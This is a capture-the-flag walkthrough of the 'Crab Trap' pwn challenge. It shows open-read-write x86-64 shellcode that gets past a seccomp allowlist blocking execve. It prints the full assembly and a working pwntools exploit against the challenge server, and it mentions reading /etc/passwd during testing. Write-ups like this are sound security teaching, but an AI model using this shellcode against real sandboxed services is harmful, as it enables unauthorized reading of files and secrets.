Crab Trap
Crab Trap
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: direct_syscall_chain, orw_shellcode, seccomp_allowlist_bypass, stack_string_build
Summary
Walkthrough of the CUSTOM Pwn Crab Trap. Task: remote x86-64 shellcode runner installs a strict seccomp allowlist (only open/read/write) then jumps to user bytes; execve is blocked. Solution: classic ORW shellcode — build 'flag.txt' on the s
Description
Mr. Krabs has heard about these so-called "shellcode hackers" trying to break into his secret vault. So he hired the barnacles. They said no execve. Something about a "Strict Sea Policy." You'll need to get creative if you want that flag.
Remote target: nc 0.cloud.chals.io 34381 (alias broncoctf-crab-trap.chals.io).
English summary: A remote x86-64 Linux shellcode runner prints an ASCII banner and a > prompt, reads one raw shellcode blob (max 512 bytes), reports the swallowed byte count ("Nom nom... swallowed N bytes. Deploying the Barnacle Barrier..."), installs a strict seccomp allowlist, then jumps directly to the supplied bytes. The goal is to read the flag despite execve being blocked.
Analysis
Semantic clues in the prompt map directly to the mechanism:
- "Crab Trap" / "barnacles" / "shellcode hackers" = a shellcode sandbox trap.
- "no execve" = the classic
push "/bin/sh"; execveshellcode is dead. - "Strict Sea Policy" = strict seccomp syscall filtering.
Behavior of the service under the filter:
- The seccomp allowlist permits only three syscalls:
open(2),read(0),write(1).execveand friends are blocked. - Because
open,read, andwriteare all allowed, plain ORW (open -> read -> write) shellcode works out of the box. Noopenat2trick, no pre-opened-fd assumption, noexitsyscall needed after writing. - The pipeline was verified first by reading
/etc/passwdviaopen -> read -> write, confirming syscalls 2/0/1 fire under the filter and return data.
The main gotcha was the flag path. Absolute paths (/flag, /flag.txt, /app/flag.txt, /home/ctf/flag) do not exist. The flag is at the relative path flag.txt (the service's CWD), so open("flag.txt", O_RDONLY) is what succeeds.
Solution
Send a short ORW shellcode after the > prompt. The shellcode:
- Builds the NUL-terminated string
"flag.txt"on the stack. open(rsp, O_RDONLY=0, 0)->rax = fd(mov eax, 2; syscall)read(fd, rsp, 256)(xor eax, eax; syscall)write(1, rsp, nbytes)(mov eax, 1; syscall)
The whole payload is ~59 bytes, well under the 512-byte cap.
Raw ORW opcode sequence (amd64), building flag.txt on the stack:
xor eax, eax ; NUL terminator
push rax
movabs rax, 0x7478742e67616c66 ; "flag.txt" little-endian
push rax
mov rdi, rsp ; path = &"flag.txt"
xor esi, esi ; O_RDONLY
xor edx, edx ; mode 0
mov eax, 2 ; SYS_open
syscall ; rax = fd
mov edi, eax ; fd
mov rsi, rsp ; buffer (reuse stack)
mov edx, 256 ; count
xor eax, eax ; SYS_read = 0
syscall ; rax = bytes read
mov edx, eax ; count = bytes read
mov edi, 1 ; fd = stdout
mov rsi, rsp ; buffer
mov eax, 1 ; SYS_write = 1
syscall ; leak flag to stdout
Full working exploit (pwntools + keystone; keystone assembles the raw amd64 opcodes so it stays portable on macOS, which usually has no GNU amd64 assembler available to pwntools):
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * from keystone import Ks, KS_ARCH_X86, KS_MODE_64 context.arch = "amd64" context.os = "linux" HOST = args.HOST or "0.cloud.chals.io" PORT = int(args.PORT or 34381) PATH = (args.PATH or "flag.txt").encode() # Strict seccomp permits only open(2), read(0), and write(1). Raw opcodes keep # this portable on macOS, where pwntools usually has no amd64 GNU assembler. chunks = [PATH[i:i+8].ljust(8, b"\0") for i in range(0, len(PATH), 8)] ins = ["xor eax,eax", "push rax"] for chunk in reversed(chunks): ins += [f"movabs rax, 0x{int.from_bytes(chunk, 'little'):x}", "push rax"] ins += [ "mov rdi,rsp", "xor esi,esi", "xor edx,edx", "mov eax,2", "syscall", "mov edi,eax", "mov rsi,rsp", "mov edx,256", "xor eax,eax", "syscall", "mov edx,eax", "mov edi,1", "mov rsi,rsp", "mov eax,1", "syscall", ] sc = bytes(Ks(KS_ARCH_X86, KS_MODE_64).asm(";".join(ins))[0]) assert len(sc) <= 512 p = remote(HOST, PORT) p.recvuntil(b"> ") p.send(sc) print(p.recvall(timeout=5).decode(errors="replace"), end="")
Run: python3 exploit.py (optionally HOST=... PORT=... PATH=flag.txt). The
service reads flag.txt relative to its CWD and writes the contents to stdout.
Key Takeaways / Lessons
- Mastering direct_syscall_chain, orw_shellcode, seccomp_allowlist_bypass, stack_string_build was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-11 • CUSTOM • Crab Trap • Difficulty: Easy